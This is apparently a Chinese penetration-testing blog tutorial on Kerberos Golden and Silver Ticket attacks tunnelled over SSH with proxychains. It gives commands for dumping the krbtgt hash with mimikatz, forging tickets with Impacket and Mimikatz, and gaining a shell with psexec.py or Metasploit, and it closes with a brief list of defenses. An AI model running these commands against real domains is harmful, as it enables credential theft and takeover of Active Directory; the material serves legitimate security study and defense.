通过SSH隧道传递票证

2019-09-17 14:57:42 浏览数 (1)

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

PTT攻击方法代替明文密码或NTLM哈希的使用Kerberos票据。可能PTT最常见的用途是使用金色和银色门票。通过PTT获得对主机的访问是相当简单的

No.3

金票

你有普通域用户权限,但是没有域的权限,知道账户hash,krbtgt,krbtgt密码未修改,该票据可以重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务

  • 需要与DC通信
  • 需要krbtgt用户的hash

要创建Golden Ticket,我们需要从目标域获取以下信息:

  • krbtgt帐户NT哈希
  • 域SID
  • 域FQDN

首先获取域ID和krbtgt用户hash:

mimikatz# lsadump::lsa /patch

我们将使用Impacket的示例脚本ticketer.py来创建Golden Ticket凭证缓存(ccache)文件。以下是为用户创建ccache文件

./ticketer.py -nthash NT哈希 -domain-sid DOMAIN-SID -domain DOMAIN.FQDN

要使Impacket示例脚本能够使用ccache文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将KRB5CCNAME变量设置为ccache文件的绝对路径:

export KRB5CCNAME=/path/to/ccache/file

验证变量设置是否正确:

echo $KRB5CCNAME

现在我们可以将-k标志与任何支持Kerberos身份验证的Impacket脚本一起使用,以使用Golden Ticket,而不是提供明文密码或NT哈希值。

No.4

名称解析

为了确保Kerberos进程功能,我们需要修改/etc/hosts攻击者计算机的文件,以包含目标域控制器的FQDN和目标主机的NetBIOS名称的条目。

nano /etc/hosts

127.0.0.1localhost 192.168.75.128aaa.bbb(FQDN) 192.168.75.137 WIN-111(NETbios)

如果您还没有域控制器的IP地址,请通过目标Linux主机上的SSH会话在目标域的FQDN上运行nslookup。例如:

nslookup -type=srv _ldap._tcp.aaa.bbb

No.5

Proxychains

我们将使用代理链通过SSH隧道路由我们的流量。通过查看配置文件的最后一行来验证代理链端口,/etc/proxychains.conf默认情况下在Kali上。

创建一个SOCKS代理,代理链将路由流量

ssh unpriv@10.0.10.81 -D 1337

要验证隧道是否已正确设置,我们可以使用代理链对目标主机的端口445运行nmap TCP连接扫描:

proxychains nmap -sT -Pn -p445 192.168.75.137

No.6

时间同步

运行以下命令将返回交互式CMD提示:

proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>

No.7

启动攻击

运行以下命令将返回交互式CMD提示:

proxychains ./psexec.py user@WIN-111 -k -no-pass

也可以用MSF

use exploit/windows/smb/psexec_psh

No.8

银票

两个票据之间的区别:

访问权限不同

Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同

Golden Ticket :由Kerberos的Hash加密 Silver Ticket :由服务账号(通常为计算机账户)Hash加密

认证流程不一样

Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要

No.9

伪造票据

要生成银票,我们需要以下信息:

  • 目标主机帐户NTLM哈希
  • 目标主机FQDN
  • 目标服务
  • 域SID
  • 域FQDN

使用Mimikatz的Kerberos模块生成Silver Ticket :

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

退出Mimikatz并启动Kekeo。使用以下语法将kirbi文件转换为ccache文件:

misc::convert ccache /path/to/ticket.kirbi

您可以使用以下语法转换多个kirbi票证:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...

将ccache文件Kekeo输出复制到攻击Linux主机。确保在Linux主机上记下文件的绝对路径; 我们需要它来设置KRB5CCNAME变量。其余的攻击使用我们的Linux主机。

No.10

攻击设置

剩余的Silver Ticket攻击设置与Golden Ticket攻击大致类似,但有两个例外。

首先,我们需要在/etc/hosts文件中提供目标主机的FQDN ,而不是NetBIOS名称。对于我们的示例,该/etc/hosts文件应如下所示:

127.0.0.1localhost 192.168.26.129aaa.bbb 192.168.26.128 WIN-111.aaa.bbb

第二个区别是我们需要将攻击机器的时间与目标主机同步; Silver Tickets不与目标的域控制器通信。

按照与上面的Golden Ticket攻击相同的步骤设置KRB5CCNAME变量,验证代理链配置,使用SOCKS代理建立SSH隧道,并使用nmap验证隧道。

No.11

启动攻击

我们现在可以psexec.py针对目标主机的FQDN 启动攻击:

proxychains python psexec.py user@WIN-111.aaa.bbb -k -no-pass

No.12

防御手段

针对黄金票据 1.设置域管理员权限,只允许登陆域管服务器和少数管理服务器,同时也不能让其他管理员账户登陆个人主机,这样可以有效防止攻击者获取到域管权限从而窃取ntds.dit,以此防止获取KBRBTHGT账户hash。 2.禁用KRBTGT账户,此时在Kerberos票据进行签署PAC并加密TGT时,会检查KRBTGT以前的密码来进行验证,保存好以前的密码。 3.定期更换KRBTHTGT密码,确保每年至少更改一次密码 4.当攻击者创建黄金票据时,通过快速更改密码,使其失效。 针对白银票据 1.尽量保证服务器凭证不被窃取 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护功能。

END

0 人点赞